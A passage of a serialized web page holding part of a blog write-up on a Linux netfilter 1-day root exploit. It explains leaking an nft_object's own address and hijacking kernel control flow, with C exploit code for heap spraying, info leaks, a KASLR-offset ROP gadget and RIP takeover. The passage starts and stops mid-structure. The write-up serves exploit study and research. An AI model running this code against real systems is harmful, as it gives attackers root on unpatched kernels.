\"spray-2\");\n[...]\n",[57424],{"type":21,"tag":78,"props":57425,"children":57426},{"__ignoreMap":7},[57427,57434,57442,57477,57484,57492,57517,57544,57595,57602,57635,57661,57668,57733,57740,57761,57768,57775,57783,57791,57812,57841,57853,57897,57953],{"type":21,"tag":153,"props":57428,"children":57429},{"class":155,"line":156},[57430],{"type":21,"tag":153,"props":57431,"children":57432},{"style":160},[57433],{"type":26,"value":13038},{"type":21,"tag":153,"props":57435,"children":57436},{"class":155,"line":166},[57437],{"type":21,"tag":153,"props":57438,"children":57439},{"style":160},[57440],{"type":26,"value":57441},"    // spray 3 udata buffers to consume elems A, B and A again\n",{"type":21,"tag":153,"props":57443,"children":57444},{"class":155,"line":225},[57445,57450,57454,57459,57464,57469,57473],{"type":21,"tag":153,"props":57446,"children":57447},{"style":160},[57448],{"type":26,"value":57449},"    udata_spray(",{"type":21,"tag":153,"props":57451,"children":57452},{"style":214},[57453],{"type":26,"value":56581},{"type":21,"tag":153,"props":57455,"children":57456},{"style":160},[57457],{"type":26,"value":57458},", 0",{"type":21,"tag":153,"props":57460,"children":57461},{"style":214},[57462],{"type":26,"value":57463},"xe8",{"type":21,"tag":153,"props":57465,"children":57466},{"style":160},[57467],{"type":26,"value":57468},", 0, 3, ",{"type":21,"tag":153,"props":57470,"children":57471},{"style":214},[57472],{"type":26,"value":56787},{"type":21,"tag":153,"props":57474,"children":57475},{"style":160},[57476],{"type":26,"value":530},{"type":21,"tag":153,"props":57478,"children":57479},{"class":155,"line":239},[57480],{"type":21,"tag":153,"props":57481,"children":57482},{"emptyLinePlaceholder":16},[57483],{"type":26,"value":759},{"type":21,"tag":153,"props":57485,"children":57486},{"class":155,"line":382},[57487],{"type":21,"tag":153,"props":57488,"children":57489},{"style":3050},[57490],{"type":26,"value":57491},"    // check if overlap happened (i.e if we have to overlapping udata buffers)\n",{"type":21,"tag":153,"props":57493,"children":57494},{"class":155,"line":501},[57495,57500,57505,57509,57513],{"type":21,"tag":153,"props":57496,"children":57497},{"style":170},[57498],{"type":26,"value":57499},"    char",{"type":21,"tag":153,"props":57501,"children":57502},{"style":192},[57503],{"type":26,"value":57504}," spray_name",{"type":21,"tag":153,"props":57506,"children":57507},{"style":160},[57508],{"type":26,"value":211},{"type":21,"tag":153,"props":57510,"children":57511},{"style":300},[57512],{"type":26,"value":470},{"type":21,"tag":153,"props":57514,"children":57515},{"style":160},[57516],{"type":26,"value":1234},{"type":21,"tag":153,"props":57518,"children":57519},{"class":155,"line":533},[57520,57524,57528,57532,57536,57540],{"type":21,"tag":153,"props":57521,"children":57522},{"style":170},[57523],{"type":26,"value":57499},{"type":21,"tag":153,"props":57525,"children":57526},{"style":198},[57527],{"type":26,"value":5080},{"type":21,"tag":153,"props":57529,"children":57530},{"style":192},[57531],{"type":26,"value":57390},{"type":21,"tag":153,"props":57533,"children":57534},{"style":160},[57535],{"type":26,"value":211},{"type":21,"tag":153,"props":57537,"children":57538},{"style":300},[57539],{"type":26,"value":4303},{"type":21,"tag":153,"props":57541,"children":57542},{"style":160},[57543],{"type":26,"value":1234},{"type":21,"tag":153,"props":57545,"children":57546},{"class":155,"line":542},[57547,57551,57555,57559,57563,57567,57571,57575,57579,57583,57587,57591],{"type":21,"tag":153,"props":57548,"children":57549},{"style":1751},[57550],{"type":26,"value":5784},{"type":21,"tag":153,"props":57552,"children":57553},{"style":160},[57554],{"type":26,"value":5820},{"type":21,"tag":153,"props":57556,"children":57557},{"style":170},[57558],{"type":26,"value":21743},{"type":21,"tag":153,"props":57560,"children":57561},{"style":160},[57562],{"type":26,"value":56835},{"type":21,"tag":153,"props":57564,"children":57565},{"style":198},[57566],{"type":26,"value":2367},{"type":21,"tag":153,"props":57568,"children":57569},{"style":300},[57570],{"type":26,"value":5799},{"type":21,"tag":153,"props":57572,"children":57573},{"style":160},[57574],{"type":26,"value":53524},{"type":21,"tag":153,"props":57576,"children":57577},{"style":198},[57578],{"type":26,"value":8537},{"type":21,"tag":153,"props":57580,"children":57581},{"style":300},[57582],{"type":26,"value":21795},{"type":21,"tag":153,"props":57584,"children":57585},{"style":160},[57586],{"type":26,"value":53555},{"type":21,"tag":153,"props":57588,"children":57589},{"style":198},[57590],{"type":26,"value":53560},{"type":21,"tag":153,"props":57592,"children":57593},{"style":160},[57594],{"type":26,"value":5909},{"type":21,"tag":153,"props":57596,"children":57597},{"class":155,"line":762},[57598],{"type":21,"tag":153,"props":57599,"children":57600},{"style":160},[57601],{"type":26,"value":2562},{"type":21,"tag":153,"props":57603,"children":57604},{"class":155,"line":776},[57605,57610,57615,57620,57625,57630],{"type":21,"tag":153,"props":57606,"children":57607},{"style":181},[57608],{"type":26,"value":57609},"        snprintf",{"type":21,"tag":153,"props":57611,"children":57612},{"style":160},[57613],{"type":26,"value":57614},"(spray_name, ",{"type":21,"tag":153,"props":57616,"children":57617},{"style":170},[57618],{"type":26,"value":57619},"sizeof",{"type":21,"tag":153,"props":57621,"children":57622},{"style":160},[57623],{"type":26,"value":57624},"(spray_name), ",{"type":21,"tag":153,"props":57626,"children":57627},{"style":671},[57628],{"type":26,"value":57629},"\"spray-%i\"",{"type":21,"tag":153,"props":57631,"children":57632},{"style":160},[57633],{"type":26,"value":57634},", i);\n",{"type":21,"tag":153,"props":57636,"children":57637},{"class":155,"line":795},[57638,57643,57647,57651,57656],{"type":21,"tag":153,"props":57639,"children":57640},{"style":192},[57641],{"type":26,"value":57642},"        udata",{"type":21,"tag":153,"props":57644,"children":57645},{"style":160},[57646],{"type":26,"value":56887},{"type":21,"tag":153,"props":57648,"children":57649},{"style":198},[57650],{"type":26,"value":2367},{"type":21,"tag":153,"props":57652,"children":57653},{"style":181},[57654],{"type":26,"value":57655}," getudata",{"type":21,"tag":153,"props":57657,"children":57658},{"style":160},[57659],{"type":26,"value":57660},"(nl, spray_name);\n",{"type":21,"tag":153,"props":57662,"children":57663},{"class":155,"line":808},[57664],{"type":21,"tag":153,"props":57665,"children":57666},{"style":160},[57667],{"type":26,"value":539},{"type":21,"tag":153,"props":57669,"children":57670},{"class":155,"line":820},[57671,57675,57679,57683,57687,57691,57695,57699,57703,57707,57712,57716,57720,57724,57728],{"type":21,"tag":153,"props":57672,"children":57673},{"style":1751},[57674],{"type":26,"value":2434},{"type":21,"tag":153,"props":57676,"children":57677},{"style":160},[57678],{"type":26,"value":5820},{"type":21,"tag":153,"props":57680,"children":57681},{"style":192},[57682],{"type":26,"value":57390},{"type":21,"tag":153,"props":57684,"children":57685},{"style":160},[57686],{"type":26,"value":211},{"type":21,"tag":153,"props":57688,"children":57689},{"style":300},[57690],{"type":26,"value":2996},{"type":21,"tag":153,"props":57692,"children":57693},{"style":160},[57694],{"type":26,"value":51248},{"type":21,"tag":153,"props":57696,"children":57697},{"style":300},[57698],{"type":26,"value":2996},{"type":21,"tag":153,"props":57700,"children":57701},{"style":160},[57702],{"type":26,"value":11387},{"type":21,"tag":153,"props":57704,"children":57705},{"style":198},[57706],{"type":26,"value":1694},{"type":21,"tag":153,"props":57708,"children":57709},{"style":192},[57710],{"type":26,"value":57711}," udata",{"type":21,"tag":153,"props":57713,"children":57714},{"style":160},[57715],{"type":26,"value":211},{"type":21,"tag":153,"props":57717,"children":57718},{"style":300},[57719],{"type":26,"value":5873},{"type":21,"tag":153,"props":57721,"children":57722},{"style":160},[57723],{"type":26,"value":51248},{"type":21,"tag":153,"props":57725,"children":57726},{"style":300},[57727],{"type":26,"value":2996},{"type":21,"tag":153,"props":57729,"children":57730},{"style":160},[57731],{"type":26,"value":57732},"])\n",{"type":21,"tag":153,"props":57734,"children":57735},{"class":155,"line":842},[57736],{"type":21,"tag":153,"props":57737,"children":57738},{"style":160},[57739],{"type":26,"value":2562},{"type":21,"tag":153,"props":57741,"children":57742},{"class":155,"line":3204},[57743,57748,57752,57757],{"type":21,"tag":153,"props":57744,"children":57745},{"style":181},[57746],{"type":26,"value":57747},"        puts",{"type":21,"tag":153,"props":57749,"children":57750},{"style":160},[57751],{"type":26,"value":189},{"type":21,"tag":153,"props":57753,"children":57754},{"style":671},[57755],{"type":26,"value":57756},"\"[+] got duplicated table\"",{"type":21,"tag":153,"props":57758,"children":57759},{"style":160},[57760],{"type":26,"value":530},{"type":21,"tag":153,"props":57762,"children":57763},{"class":155,"line":3230},[57764],{"type":21,"tag":153,"props":57765,"children":57766},{"style":160},[57767],{"type":26,"value":539},{"type":21,"tag":153,"props":57769,"children":57770},{"class":155,"line":3239},[57771],{"type":21,"tag":153,"props":57772,"children":57773},{"emptyLinePlaceholder":16},[57774],{"type":26,"value":759},{"type":21,"tag":153,"props":57776,"children":57777},{"class":155,"line":3253},[57778],{"type":21,"tag":153,"props":57779,"children":57780},{"style":3050},[57781],{"type":26,"value":57782},"    // Replace one of the udata buffers with nft_object\n",{"type":21,"tag":153,"props":57784,"children":57785},{"class":155,"line":3301},[57786],{"type":21,"tag":153,"props":57787,"children":57788},{"style":3050},[57789],{"type":26,"value":57790},"    // and read it's counterpart to leak the nft_object struct\n",{"type":21,"tag":153,"props":57792,"children":57793},{"class":155,"line":3346},[57794,57799,57803,57808],{"type":21,"tag":153,"props":57795,"children":57796},{"style":181},[57797],{"type":26,"value":57798},"    puts",{"type":21,"tag":153,"props":57800,"children":57801},{"style":160},[57802],{"type":26,"value":189},{"type":21,"tag":153,"props":57804,"children":57805},{"style":671},[57806],{"type":26,"value":57807},"\"[*] Info leak\"",{"type":21,"tag":153,"props":57809,"children":57810},{"style":160},[57811],{"type":26,"value":530},{"type":21,"tag":153,"props":57813,"children":57814},{"class":155,"line":3355},[57815,57820,57825,57829,57833,57837],{"type":21,"tag":153,"props":57816,"children":57817},{"style":181},[57818],{"type":26,"value":57819},"    deludata_spray",{"type":21,"tag":153,"props":57821,"children":57822},{"style":160},[57823],{"type":26,"value":57824},"(nl, ",{"type":21,"tag":153,"props":57826,"children":57827},{"style":300},[57828],{"type":26,"value":2996},{"type":21,"tag":153,"props":57830,"children":57831},{"style":160},[57832],{"type":26,"value":1670},{"type":21,"tag":153,"props":57834,"children":57835},{"style":300},[57836],{"type":26,"value":3033},{"type":21,"tag":153,"props":57838,"children":57839},{"style":160},[57840],{"type":26,"value":530},{"type":21,"tag":153,"props":57842,"children":57843},{"class":155,"line":3364},[57844,57849],{"type":21,"tag":153,"props":57845,"children":57846},{"style":181},[57847],{"type":26,"value":57848},"    wait_destroyer",{"type":21,"tag":153,"props":57850,"children":57851},{"style":160},[57852],{"type":26,"value":839},{"type":21,"tag":153,"props":57854,"children":57855},{"class":155,"line":3376},[57856,57861,57865,57869,57873,57877,57881,57885,57889,57893],{"type":21,"tag":153,"props":57857,"children":57858},{"style":181},[57859],{"type":26,"value":57860},"    obj_spray",{"type":21,"tag":153,"props":57862,"children":57863},{"style":160},[57864],{"type":26,"value":57824},{"type":21,"tag":153,"props":57866,"children":57867},{"style":300},[57868],{"type":26,"value":2996},{"type":21,"tag":153,"props":57870,"children":57871},{"style":160},[57872],{"type":26,"value":1670},{"type":21,"tag":153,"props":57874,"children":57875},{"style":300},[57876],{"type":26,"value":3033},{"type":21,"tag":153,"props":57878,"children":57879},{"style":160},[57880],{"type":26,"value":1670},{"type":21,"tag":153,"props":57882,"children":57883},{"style":170},[57884],{"type":26,"value":56787},{"type":21,"tag":153,"props":57886,"children":57887},{"style":160},[57888],{"type":26,"value":1670},{"type":21,"tag":153,"props":57890,"children":57891},{"style":300},[57892],{"type":26,"value":2996},{"type":21,"tag":153,"props":57894,"children":57895},{"style":160},[57896],{"type":26,"value":530},{"type":21,"tag":153,"props":57898,"children":57899},{"class":155,"line":3393},[57900,57905,57909,57914,57918,57922,57927,57931,57935,57940,57944,57949],{"type":21,"tag":153,"props":57901,"children":57902},{"style":170},[57903],{"type":26,"value":57904},"    uint64_t",{"type":21,"tag":153,"props":57906,"children":57907},{"style":198},[57908],{"type":26,"value":5080},{"type":21,"tag":153,"props":57910,"children":57911},{"style":160},[57912],{"type":26,"value":57913},"fake_obj ",{"type":21,"tag":153,"props":57915,"children":57916},{"style":198},[57917],{"type":26,"value":2367},{"type":21,"tag":153,"props":57919,"children":57920},{"style":160},[57921],{"type":26,"value":5820},{"type":21,"tag":153,"props":57923,"children":57924},{"style":170},[57925],{"type":26,"value":57926},"uint64_t",{"type":21,"tag":153,"props":57928,"children":57929},{"style":198},[57930],{"type":26,"value":5080},{"type":21,"tag":153,"props":57932,"children":57933},{"style":160},[57934],{"type":26,"value":2071},{"type":21,"tag":153,"props":57936,"children":57937},{"style":181},[57938],{"type":26,"value":57939},"getudata",{"type":21,"tag":153,"props":57941,"children":57942},{"style":160},[57943],{"type":26,"value":57824},{"type":21,"tag":153,"props":57945,"children":57946},{"style":671},[57947],{"type":26,"value":57948},"\"spray-2\"",{"type":21,"tag":153,"props":57950,"children":57951},{"style":160},[57952],{"type":26,"value":530},{"type":21,"tag":153,"props":57954,"children":57955},{"class":155,"line":3405},[57956],{"type":21,"tag":153,"props":57957,"children":57958},{"style":160},[57959],{"type":26,"value":13038},{"type":21,"tag":114,"props":57961,"children":57963},{"id":57962},"leaking-self-pointer-of-nft_object",[57964,57966],{"type":26,"value":57965},"Leaking self pointer of ",{"type":21,"tag":78,"props":57967,"children":57969},{"className":57968},[],[57970],{"type":26,"value":57405},{"type":21,"tag":22,"props":57972,"children":57973},{},[57974,57976,57981,57983,57988,57990,57995,57997,58003],{"type":26,"value":57975},"As I'll discuss in more depth in the ROP section, the exploit relies on a known address of controllable memory to work. I decided to use the ",{"type":21,"tag":78,"props":57977,"children":57979},{"className":57978},[],[57980],{"type":26,"value":57405},{"type":26,"value":57982}," to get its own address. This is possible because the ",{"type":21,"tag":78,"props":57984,"children":57986},{"className":57985},[],[57987],{"type":26,"value":57405},{"type":26,"value":57989}," has a ",{"type":21,"tag":78,"props":57991,"children":57993},{"className":57992},[],[57994],{"type":26,"value":57390},{"type":26,"value":57996}," pointer (similar to ",{"type":21,"tag":78,"props":57998,"children":58000},{"className":57999},[],[58001],{"type":26,"value":58002},"table->udata",{"type":26,"value":58004}," that I used for leaking KASLR), that I can use to read/write data.",{"type":21,"tag":22,"props":58006,"children":58007},{},[58008,58009,58014,58016,58022,58024,58029,58031,58037,58039,58045,58047,58052,58054,58059,58061,58066,58068],{"type":26,"value":19311},{"type":21,"tag":78,"props":58010,"children":58012},{"className":58011},[],[58013],{"type":26,"value":57405},{"type":26,"value":58015}," struct also contains a ",{"type":21,"tag":78,"props":58017,"children":58019},{"className":58018},[],[58020],{"type":26,"value":58021},"list_head",{"type":26,"value":58023}," inserted in a circular list containing all ",{"type":21,"tag":78,"props":58025,"children":58027},{"className":58026},[],[58028],{"type":26,"value":57405},{"type":26,"value":58030},"'s that belong to a given ",{"type":21,"tag":78,"props":58032,"children":58034},{"className":58033},[],[58035],{"type":26,"value":58036},"table",{"type":26,"value":58038},". Considering that our object is currently alone in its table, the ",{"type":21,"tag":78,"props":58040,"children":58042},{"className":58041},[],[58043],{"type":26,"value":58044},"table->list.next",{"type":26,"value":58046}," pointer in the ",{"type":21,"tag":78,"props":58048,"children":58050},{"className":58049},[],[58051],{"type":26,"value":57405},{"type":26,"value":58053}," will point back to the ",{"type":21,"tag":78,"props":58055,"children":58057},{"className":58056},[],[58058],{"type":26,"value":58021},{"type":26,"value":58060}," contained in the ",{"type":21,"tag":78,"props":58062,"children":58064},{"className":58063},[],[58065],{"type":26,"value":58036},{"type":26,"value":58067}," and vice-versa.\n",{"type":21,"tag":3644,"props":58069,"children":58071},{"alt":52869,"src":58070},"/posts/netfilter-universal-root-1-day/nft-object.png",[],{"type":21,"tag":22,"props":58073,"children":58074},{},[58075,58077,58082,58084,58089,58091,58097,58099,58104,58105,58110,58112,58117,58119,58124],{"type":26,"value":58076},"In short, that means that if we swap the ",{"type":21,"tag":78,"props":58078,"children":58080},{"className":58079},[],[58081],{"type":26,"value":57390},{"type":26,"value":58083}," pointer of the ",{"type":21,"tag":78,"props":58085,"children":58087},{"className":58086},[],[58088],{"type":26,"value":57405},{"type":26,"value":58090}," with its own ",{"type":21,"tag":78,"props":58092,"children":58094},{"className":58093},[],[58095],{"type":26,"value":58096},"list.next",{"type":26,"value":58098}," pointer we should be able to read a pointer back to the ",{"type":21,"tag":78,"props":58100,"children":58102},{"className":58101},[],[58103],{"type":26,"value":57405},{"type":26,"value":54630},{"type":21,"tag":78,"props":58106,"children":58108},{"className":58107},[],[58109],{"type":26,"value":58021},{"type":26,"value":58111}," which is also the start of the ",{"type":21,"tag":78,"props":58113,"children":58115},{"className":58114},[],[58116],{"type":26,"value":57405},{"type":26,"value":58118}," itself.\n",{"type":21,"tag":8055,"props":58120,"children":58121},{},[58122],{"type":26,"value":58123},"NOTE:",{"type":26,"value":58125}," This is a novel small trick.",{"type":21,"tag":143,"props":58127,"children":58129},{"className":31805,"code":58128,"language":31807,"meta":7,"style":7},"[...]\n    // Leak nft_object ptr using table linked list\n    fake_obj[8] = 8;           // ulen = 8\n    fake_obj[9] = fake_obj[0]; // udata = list->next\n    deludata_spray(nl, 2, 1);\n    wait_destroyer();\n    udata_spray(nl, 0xe8, 3, 1, fake_obj);\n\n    get_obj(nl, \"spray-0\", true);\n    printf(\"[*] nft_object ptr: 0x%lx\\n\", obj_ptr);\n[...]\n",[58130],{"type":21,"tag":78,"props":58131,"children":58132},{"__ignoreMap":7},[58133,58140,58148,58161,58209,58236,58247,58285,58292,58321,58351],{"type":21,"tag":153,"props":58134,"children":58135},{"class":155,"line":156},[58136],{"type":21,"tag":153,"props":58137,"children":58138},{"style":160},[58139],{"type":26,"value":13038},{"type":21,"tag":153,"props":58141,"children":58142},{"class":155,"line":166},[58143],{"type":21,"tag":153,"props":58144,"children":58145},{"style":160},[58146],{"type":26,"value":58147},"    // Leak nft_object ptr using table linked list\n",{"type":21,"tag":153,"props":58149,"children":58150},{"class":155,"line":225},[58151,58156],{"type":21,"tag":153,"props":58152,"children":58153},{"style":160},[58154],{"type":26,"value":58155},"    fake_obj[8] = 8;",{"type":21,"tag":153,"props":58157,"children":58158},{"style":3050},[58159],{"type":26,"value":58160},"           // ulen = 8\n",{"type":21,"tag":153,"props":58162,"children":58163},{"class":155,"line":239},[58164,58169,58173,58178,58182,58186,58191,58195,58199,58204],{"type":21,"tag":153,"props":58165,"children":58166},{"style":192},[58167],{"type":26,"value":58168},"    fake_obj",{"type":21,"tag":153,"props":58170,"children":58171},{"style":160},[58172],{"type":26,"value":211},{"type":21,"tag":153,"props":58174,"children":58175},{"style":300},[58176],{"type":26,"value":58177},"9",{"type":21,"tag":153,"props":58179,"children":58180},{"style":160},[58181],{"type":26,"value":11387},{"type":21,"tag":153,"props":58183,"children":58184},{"style":198},[58185],{"type":26,"value":2367},{"type":21,"tag":153,"props":58187,"children":58188},{"style":192},[58189],{"type":26,"value":58190}," fake_obj",{"type":21,"tag":153,"props":58192,"children":58193},{"style":160},[58194],{"type":26,"value":211},{"type":21,"tag":153,"props":58196,"children":58197},{"style":300},[58198],{"type":26,"value":2996},{"type":21,"tag":153,"props":58200,"children":58201},{"style":160},[58202],{"type":26,"value":58203},"];",{"type":21,"tag":153,"props":58205,"children":58206},{"style":3050},[58207],{"type":26,"value":58208}," // udata = list->next\n",{"type":21,"tag":153,"props":58210,"children":58211},{"class":155,"line":382},[58212,58216,58220,58224,58228,58232],{"type":21,"tag":153,"props":58213,"children":58214},{"style":181},[58215],{"type":26,"value":57819},{"type":21,"tag":153,"props":58217,"children":58218},{"style":160},[58219],{"type":26,"value":57824},{"type":21,"tag":153,"props":58221,"children":58222},{"style":300},[58223],{"type":26,"value":5873},{"type":21,"tag":153,"props":58225,"children":58226},{"style":160},[58227],{"type":26,"value":1670},{"type":21,"tag":153,"props":58229,"children":58230},{"style":300},[58231],{"type":26,"value":3033},{"type":21,"tag":153,"props":58233,"children":58234},{"style":160},[58235],{"type":26,"value":530},{"type":21,"tag":153,"props":58237,"children":58238},{"class":155,"line":501},[58239,58243],{"type":21,"tag":153,"props":58240,"children":58241},{"style":181},[58242],{"type":26,"value":57848},{"type":21,"tag":153,"props":58244,"children":58245},{"style":160},[58246],{"type":26,"value":839},{"type":21,"tag":153,"props":58248,"children":58249},{"class":155,"line":533},[58250,58255,58259,58264,58268,58272,58276,58280],{"type":21,"tag":153,"props":58251,"children":58252},{"style":181},[58253],{"type":26,"value":58254},"    udata_spray",{"type":21,"tag":153,"props":58256,"children":58257},{"style":160},[58258],{"type":26,"value":57824},{"type":21,"tag":153,"props":58260,"children":58261},{"style":300},[58262],{"type":26,"value":58263},"0xe8",{"type":21,"tag":153,"props":58265,"children":58266},{"style":160},[58267],{"type":26,"value":1670},{"type":21,"tag":153,"props":58269,"children":58270},{"style":300},[58271],{"type":26,"value":4303},{"type":21,"tag":153,"props":58273,"children":58274},{"style":160},[58275],{"type":26,"value":1670},{"type":21,"tag":153,"props":58277,"children":58278},{"style":300},[58279],{"type":26,"value":3033},{"type":21,"tag":153,"props":58281,"children":58282},{"style":160},[58283],{"type":26,"value":58284},", fake_obj);\n",{"type":21,"tag":153,"props":58286,"children":58287},{"class":155,"line":542},[58288],{"type":21,"tag":153,"props":58289,"children":58290},{"emptyLinePlaceholder":16},[58291],{"type":26,"value":759},{"type":21,"tag":153,"props":58293,"children":58294},{"class":155,"line":762},[58295,58300,58304,58309,58313,58317],{"type":21,"tag":153,"props":58296,"children":58297},{"style":181},[58298],{"type":26,"value":58299},"    get_obj",{"type":21,"tag":153,"props":58301,"children":58302},{"style":160},[58303],{"type":26,"value":57824},{"type":21,"tag":153,"props":58305,"children":58306},{"style":671},[58307],{"type":26,"value":58308},"\"spray-0\"",{"type":21,"tag":153,"props":58310,"children":58311},{"style":160},[58312],{"type":26,"value":1670},{"type":21,"tag":153,"props":58314,"children":58315},{"style":170},[58316],{"type":26,"value":3294},{"type":21,"tag":153,"props":58318,"children":58319},{"style":160},[58320],{"type":26,"value":530},{"type":21,"tag":153,"props":58322,"children":58323},{"class":155,"line":776},[58324,58329,58333,58338,58342,58346],{"type":21,"tag":153,"props":58325,"children":58326},{"style":181},[58327],{"type":26,"value":58328},"    printf",{"type":21,"tag":153,"props":58330,"children":58331},{"style":160},[58332],{"type":26,"value":189},{"type":21,"tag":153,"props":58334,"children":58335},{"style":671},[58336],{"type":26,"value":58337},"\"[*] nft_object ptr: 0x%lx",{"type":21,"tag":153,"props":58339,"children":58340},{"style":50663},[58341],{"type":26,"value":50666},{"type":21,"tag":153,"props":58343,"children":58344},{"style":671},[58345],{"type":26,"value":22756},{"type":21,"tag":153,"props":58347,"children":58348},{"style":160},[58349],{"type":26,"value":58350},", obj_ptr);\n",{"type":21,"tag":153,"props":58352,"children":58353},{"class":155,"line":795},[58354],{"type":21,"tag":153,"props":58355,"children":58356},{"style":160},[58357],{"type":26,"value":13038},{"type":21,"tag":114,"props":58359,"children":58361},{"id":58360},"hijacking-control-flow",[58362],{"type":26,"value":58363},"Hijacking control-flow",{"type":21,"tag":22,"props":58365,"children":58366},{},[58367,58369,58374,58376,58381,58383,58388,58390,58395,58397,58402,58404],{"type":26,"value":58368},"To hijack control-flow, we can use ",{"type":21,"tag":78,"props":58370,"children":58372},{"className":58371},[],[58373],{"type":26,"value":57405},{"type":26,"value":58375}," once again. The ",{"type":21,"tag":78,"props":58377,"children":58379},{"className":58378},[],[58380],{"type":26,"value":57405},{"type":26,"value":58382}," struct has an ",{"type":21,"tag":78,"props":58384,"children":58386},{"className":58385},[],[58387],{"type":26,"value":54961},{"type":26,"value":58389}," pointer to a function pointer table. We can swap the ",{"type":21,"tag":78,"props":58391,"children":58393},{"className":58392},[],[58394],{"type":26,"value":54961},{"type":26,"value":58396}," pointer with the ",{"type":21,"tag":78,"props":58398,"children":58400},{"className":58399},[],[58401],{"type":26,"value":57390},{"type":26,"value":58403}," pointer, taking control of the pointer table.\n",{"type":21,"tag":3644,"props":58405,"children":58407},{"alt":52869,"src":58406},"/posts/netfilter-universal-root-1-day/control-flow.png",[],{"type":21,"tag":143,"props":58409,"children":58411},{"className":31805,"code":58410,"language":31807,"meta":7,"style":7},"[...]\n    // Fake ops\n    uint64_t *rop = calloc(29, sizeof(uint64_t));\n    rop[0] = kaslr_slide + 0xffffffff81988647; // push rsi; jmp qword ptr [rsi + 0x39];\n    rop[2] = kaslr_slide + NFT_CT_EXPECT_OBJ_TYPE;\n[...]\n    // Send ROP in object udata\n    del_obj(nl, \"spray-0\");\n    wait_destroyer();\n    obj_spray(nl, 1, 1, rop, 0xb8);\n    fake_obj = (uint64_t *)getudata(nl, \"spray-3\");\n    DumpHex(fake_obj, 0xe8);\n    uint64_t rop_addr = fake_obj[9]; // udata ptr\n    printf(\"[*] ROP addr: 0x%lx\\n\", rop_addr);\n\n    // Point to fake ops\n    fake_obj[16] = rop_addr - 0x20; // Point ops to fake ptr table\n[...]\n    // Write ROP\n    puts(\"[*] Write ROP\");\n    deludata_spray(nl, 3, 1);\n    wait_destroyer();\n    udata_spray(nl, 0xe8, 4, 1, fake_obj);\n\n    // Takeover RIP\n    puts(\"[*] Takeover RIP\");\n    dump_obj(nl, \"spray-1\");\n[...]\n",[58412],{"type":21,"tag":78,"props":58413,"children":58414},{"__ignoreMap":7},[58415,58422,58430,58454,58501,58537,58544,58552,58584,58592,58600,58621,58629,58637,58701,58708,58716,58724,58731,58739,58773,58781,58788,58796,58803,58811,58844,58865],{"type":21,"tag":153,"props":58416,"children":58417},{"class":155,"line":156},[58418],{"type":21,"tag":153,"props":58419,"children":58420},{"style":160},[58421],{"type":26,"value":13038},{"type":21,"tag":153,"props":58423,"children":58424},{"class":155,"line":166},[58425],{"type":21,"tag":153,"props":58426,"children":58427},{"style":160},[58428],{"type":26,"value":58429},"    // Fake ops\n",{"type":21,"tag":153,"props":58431,"children":58432},{"class":155,"line":225},[58433,58438,58442,58446,58450],{"type":21,"tag":153,"props":58434,"children":58435},{"style":160},[58436],{"type":26,"value":58437},"    uint64_t *rop = calloc(29, ",{"type":21,"tag":153,"props":58439,"children":58440},{"style":214},[58441],{"type":26,"value":57619},{"type":21,"tag":153,"props":58443,"children":58444},{"style":160},[58445],{"type":26,"value":189},{"type":21,"tag":153,"props":58447,"children":58448},{"style":170},[58449],{"type":26,"value":57926},{"type":21,"tag":153,"props":58451,"children":58452},{"style":160},[58453],{"type":26,"value":9951},{"type":21,"tag":153,"props":58455,"children":58456},{"class":155,"line":239},[58457,58462,58466,58470,58474,58478,58483,58487,58492,58496],{"type":21,"tag":153,"props":58458,"children":58459},{"style":192},[58460],{"type":26,"value":58461},"    rop",{"type":21,"tag":153,"props":58463,"children":58464},{"style":160},[58465],{"type":26,"value":211},{"type":21,"tag":153,"props":58467,"children":58468},{"style":300},[58469],{"type":26,"value":2996},{"type":21,"tag":153,"props":58471,"children":58472},{"style":160},[58473],{"type":26,"value":11387},{"type":21,"tag":153,"props":58475,"children":58476},{"style":198},[58477],{"type":26,"value":2367},{"type":21,"tag":153,"props":58479,"children":58480},{"style":160},[58481],{"type":26,"value":58482}," kaslr_slide ",{"type":21,"tag":153,"props":58484,"children":58485},{"style":198},[58486],{"type":26,"value":4099},{"type":21,"tag":153,"props":58488,"children":58489},{"style":300},[58490],{"type":26,"value":58491}," 0xffffffff81988647",{"type":21,"tag":153,"props":58493,"children":58494},{"style":160},[58495],{"type":26,"value":51364},{"type":21,"tag":153,"props":58497,"children":58498},{"style":3050},[58499],{"type":26,"value":58500}," // push rsi; jmp qword ptr [rsi + 0x39];\n",{"type":21,"tag":153,"props":58502,"children":58503},{"class":155,"line":382},[58504,58508,58512,58516,58520,58524,58528,58532],{"type":21,"tag":153,"props":58505,"children":58506},{"style":192},[58507],{"type":26,"value":58461},{"type":21,"tag":153,"props":58509,"children":58510},{"style":160},[58511],{"type":26,"value":211},{"type":21,"tag":153,"props":58513,"children":58514},{"style":300},[58515],{"type":26,"value":5873},{"type":21,"tag":153,"props":58517,"children":58518},{"style":160},[58519],{"type":26,"value":11387},{"type":21,"tag":153,"props":58521,"children":58522},{"style":198},[58523],{"type":26,"value":2367},{"type":21,"tag":153,"props":58525,"children":58526},{"style":160},[58527],{"type":26,"value":58482},{"type":21,"tag":153,"props":58529,"children":58530},{"style":198},[58531],{"type":26,"value":4099},{"type":21,"tag":153,"props":58533,"children":58534},{"style":160},[58535],{"type":26,"value":58536}," NFT_CT_EXPECT_OBJ_TYPE;\n",{"type":21,"tag":153,"props":58538,"children":58539},{"class":155,"line":501},[58540],{"type":21,"tag":153,"props":58541,"children":58542},{"style":160},[58543],{"type":26,"value":13038},{"type":21,"tag":153,"props":58545,"children":58546},{"class":155,"line":533},[58547],{"type":21,"tag":153,"props":58548,"children":58549},{"style":160},[58550],{"type":26,"value":58551},"    // Send ROP in object udata\n",{"type":21,"tag":153,"props":58553,"children":58554},{"class":155,"line":542},[58555,58560,58564,58569,58574,58579],{"type":21,"tag":153,"props":58556,"children":58557},{"style":160},[58558],{"type":26,"value":58559},"    del_obj(",{"type":21,"tag":153,"props":58561,"children":58562},{"style":214},[58563],{"type":26,"value":56581},{"type":21,"tag":153,"props":58565,"children":58566},{"style":160},[58567],{"type":26,"value":58568},", \"",{"type":21,"tag":153,"props":58570,"children":58571},{"style":214},[58572],{"type":26,"value":58573},"spray",{"type":21,"tag":153,"props":58575,"children":58576},{"style":160},[58577],{"type":26,"value":58578},"-0",{"type":21,"tag":153,"props":58580,"children":58581},{"style":671},[58582],{"type":26,"value":58583},"\");\n",{"type":21,"tag":153,"props":58585,"children":58586},{"class":155,"line":762},[58587],{"type":21,"tag":153,"props":58588,"children":58589},{"style":671},[58590],{"type":26,"value":58591},"    